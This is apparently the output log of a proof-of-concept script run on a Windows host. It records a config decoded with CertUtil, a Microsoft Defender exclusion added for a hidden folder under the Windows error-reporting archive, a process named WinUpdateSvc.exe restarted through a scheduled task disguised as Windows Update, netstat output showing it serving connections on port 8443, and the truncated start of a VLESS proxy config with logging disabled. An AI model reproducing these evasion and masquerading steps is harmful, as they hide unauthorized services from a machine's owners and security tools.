poc
41 lines
2.2 KiB
Plaintext
41 lines
2.2 KiB
Plaintext
===WRITE_CONFIG===
|
|
Input Length = 1241
|
|
Output Length = 930
|
|
CertUtil: -decode command completed successfully.
|
|
===DEFENDER_EXCLUDE===
|
|
#< CLIXML
|
|
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj S="progress" RefId="0"><TN RefId="0"><T>System.Management.Automation.PSCustomObject</T><T>System.Object</T></TN><MS><I64 N="SourceId">1</I64><PR N="Record"><AV>Preparing modules for first use.</AV><AI>0</AI><Nil /><PI>-1</PI><PC>-1</PC><T>Completed</T><SR>-1</SR><SD> </SD></PR></MS></Obj><Obj S="progress" RefId="1"><TNRef RefId="0" /><MS><I64 N="SourceId">2</I64><PR N="Record"><AV>Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\WER\ReportArchive\sync'</AV><AI>1743036673</AI><Nil /><PI>-1</PI><PC>100</PC><T>Completed</T><SR>0</SR><SD>1/1 completed</SD></PR></MS></Obj></Objs>EXCLUDE_OK
|
|
===RESTART===
|
|
SUCCESS: The process "WinUpdateSvc.exe" with PID 13228 has been terminated.
|
|
SUCCESS: Attempted to run the scheduled task "Microsoft\Windows\WindowsUpdate\ProxySvc".
|
|
===VERIFY===
|
|
TCP 0.0.0.0:8443 0.0.0.0:0 LISTENING 20700
|
|
TCP 31.214.169.254:8443 155.133.27.208:46386 TIME_WAIT 0
|
|
TCP 31.214.169.254:50419 89.47.232.104:8443 SYN_SENT 11552
|
|
TCP 31.214.169.254:50440 89.47.232.104:8443 SYN_SENT 4360
|
|
TCP 31.214.169.254:51442 103.191.243.96:8443 ESTABLISHED 6720
|
|
TCP 31.214.169.254:54219 150.242.14.129:8443 ESTABLISHED 2700
|
|
TCP 31.214.169.254:54791 103.191.243.96:8443 ESTABLISHED 8860
|
|
TCP 31.214.169.254:55425 150.242.14.129:8443 ESTABLISHED 2764
|
|
TCP 31.214.169.254:55648 150.242.14.129:8443 ESTABLISHED 7512
|
|
TCP 31.214.169.254:55685 150.242.14.129:8443 ESTABLISHED 8000
|
|
TCP 31.214.169.254:65139 150.242.14.129:8443 ESTABLISHED 1888
|
|
TCP [::]:8443 [::]:0 LISTENING 20700
|
|
WinUpdateSvc.exe 20700 Services 0 30,384 K
|
|
===CONFIG===
|
|
{
|
|
"log": {
|
|
"loglevel": "none"
|
|
},
|
|
"inbounds": [
|
|
{
|
|
"listen": "0.0.0.0",
|
|
"port": 8443,
|
|
"protocol": "vless",
|
|
"settings": {
|
|
"clients": [
|
|
{
|
|
|
|
===DONE===
|
|
[exit-status=0]
|